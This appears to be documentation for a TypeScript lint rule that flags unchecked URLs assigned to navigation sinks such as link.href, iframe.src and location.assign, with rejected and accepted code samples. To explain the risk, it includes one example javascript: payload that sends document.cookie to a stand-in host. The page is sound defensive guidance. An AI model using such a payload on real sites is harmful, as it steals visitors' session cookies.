Skip to content

url-sink ​

A URL the browser may navigate to, set from a value that isn't a constant with a safe scheme or a SafeUrl: link.href = url (also <area>, <base>), iframe.src, form.action, a button's or input's formAction, object.data, embed.src, location.href = url, location.assign(url), location.replace(url), window.open(url), navigation.navigate(url), and setAttribute("href" | "src" | "action" | "formaction" | "data", url).

Why: a javascript: URL runs its text as script when it is followed: a profile's website of javascript:fetch('https://evil.example/?c=' + document.cookie) runs in the page of everyone who clicks it. Frameworks escape text, but a URL is set as it is.

✕ Rejectedurl-sink
ts
export function profileLink(website: string): HTMLAnchorElement {
  const link = document.createElement("a");
  link.href = website;
  link.textContent = "Website";
  return link;
}

✅ Accepted: the scheme checked

✓ Accepted0 diagnostics
ts
import { safeHref } from "@evobug_com/safe-ts-std/url";

export function profileLink(website: string): HTMLAnchorElement {
  const link = document.createElement("a");
  link.href = safeHref(website);
  link.textContent = "Website";
  return link;
}

export function userLink(id: number): HTMLAnchorElement {
  const link = document.createElement("a");
  link.href = `/users/${id}`;
  return link;
}

Accepted, besides a SafeUrl: a URL whose written start is relative or http:, https:, mailto: or tel: (/users/${id}, `https://example.com/${path}`: its scheme is decided there), safeHref(url), a blob: URL (URL.createObjectURL(blob)), the page's own address (location.href, document.baseURI) and a URL made from it (new URL(location.href), new URL("/next", location.href)) whose href the file doesn't set again: changing its searchParams, pathname or hash keeps its scheme. It is the definition vue-unsafe-url uses for :href. A written URL whose scheme can run script ("javascript:void(0)") is reported too: use a <button> for an action.

A request isn't navigation: fetch(url), XMLHttpRequest#open, new WebSocket(url) don't run what they fetch. Where a request may go is a question of which hosts the code may reach, not of what runs, and the rule leaves it out. <img src>, <video src> and <link href> fetch without running script either.

What the rule can't see: a URL built by a function of yours and returned as a string (return a SafeUrl: safeUrl or safeHref inside it); an element made somewhere it can't follow (querySelector's result, a template ref) for the members other elements share. The list of members is data in the browser pack (Libraries: Sinks).

MIT OR Apache-2.0 · Docs by Gemini 4 Neon Extra